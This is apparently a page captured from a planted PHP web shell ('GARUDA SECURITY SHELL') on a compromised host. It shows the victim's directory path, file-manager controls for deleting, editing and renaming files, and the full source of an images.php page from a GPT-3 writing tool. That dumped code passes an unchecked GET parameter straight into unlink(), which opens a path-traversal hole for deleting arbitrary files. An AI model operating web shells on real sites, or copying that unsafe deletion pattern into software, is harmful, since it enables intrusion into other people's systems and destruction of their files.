GARUDA SECURITY SHELL
/
home2
/
freedon9
/
public_html
/
steveshead-io
/
ai
/
Nama File / Folder
Size
Action
admin
--
NONE
assets
--
NONE
images.php
4.604KB
Hapus
Edit
Rename
index.php
26.245KB
Hapus
Edit
Rename
<?php //Restrict access require ("admin/class_password.php"); $protect->enable('user'); //Delete image if (isset($_GET['delimg'])) { $imgdir = $_GET['delimg']; unlink("assets/img/".$imgdir); } ?> <!DOCTYPE html> <html class="no-js" lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Writing tool powered with OpenAI GPT-3"> <title>All Images</title> <link href="assets/css/fontawesome.min.css" rel="stylesheet"> <link href="assets/css/theme.css?v=<?php include 'assets/php/id.php';?>" rel="stylesheet"> <link href="assets/css/app.css?v=<?php include 'assets/php/id.php';?>" rel="stylesheet"> <style> .page-content { margin-left: 25%!important; } #list-all-images { display: inline-block; } .output-wrap { width: 33.3%!important; } @media (max-width: 991.98px) { .menu { position: relative!important; display: block!important; width: 100%!important; height: auto!important; } .page-content { margin-left: 0%!important; } .output-wrap { width: 50%!important; } } </style> </head> <body> <div class="menu"> <!-- Website name and logout button --> <h1 class="brand-name"><?php include 'assets/php/brandname.php';?></h1> <div id="dash-menu"> <ul class="nav-list"> <li class="all-doc"> <i class="fa-solid fa-images"></i> <span>All Images</span> </li> </ul> <a href="index.php" title="All Documents"><i class="fa-solid fa-layer-group"></i> All Documents</a> <?php if ($protect->isAdmin) { echo '<a href="admin/settings.php" title="Settings"><i class="fa-solid fa-gear"></i> Settings</a> <a href="admin/admin.php" title="Admin"><i class="fa-solid fa-user-shield"></i> Admin</a>'; } ?> <a href="<?php $protect->createLogout(); ?>" title="Logout"><i class="fa-solid fa-right-from-bracket"></i> Logout</a> </div> </div> <div class="page-content"> <!-- Display all images --> <p>All Images:</p> <div id="list-all-images"> </div> </div> <script src="https://kit.fontawesome.com/d128a728e7.js" crossorigin="anonymous"></script> <script src="assets/js/fontawesome.min.js"></script> <script src="assets/js/yall.min.js"></script> <script> (function() { 'use strict'; //For iFrame blocking if (self == top) { // Everything checks out, show the page. document.documentElement.style.display = 'block'; } else { // Break out of the frame. top.location = self.location; } //For loading images let outputCount = 8; // Number of images to load each time let loadedCount = 0; // Number of images loaded so far let isFetching = false; // Flag to prevent multiple requests being sent at the same time // Load initial set of images loadImages(outputCount); // Load more images on scroll down window.addEventListener('scroll', function() { if ((window.innerHeight + window.scrollY) >= document.body.offsetHeight && !isFetching) { isFetching = true; loadImages(outputCount); } }); // Function to load more images function loadImages(count) { let httpRequest = new XMLHttpRequest(); let url = "assets/php/all-images.php?count=" + count + "&loaded=" + loadedCount; httpRequest.open("GET", url, true); httpRequest.send(); httpRequest.onreadystatechange = function() { if (httpRequest.readyState === 4 && httpRequest.status === 200) { let responseImages = JSON.parse(httpRequest.responseText); // Append HTML to #list-all-images document.getElementById("list-all-images").innerHTML += responseImages.html; // Update loadedCount and isFetching loadedCount += Number(responseImages.count); isFetching = false; } }; } //Lazy loading document.addEventListener("DOMContentLoaded", function() { yall({ observeChanges: true, events: { load: function (event) { if (!event.target.classList.contains("lazy") && event.target.nodeName == "IMG") { event.target.classList.add("yall-loaded"); } }, error: { listener: function (event) { if (!event.target.classList.contains("lazy") && event.target.nodeName == "IMG") { event.target.classList.add("yall-error"); event.target.nextElementSibling.classList.add("visible"); } }, options: { once: true } } } }); }); })(); </script> </body> </html>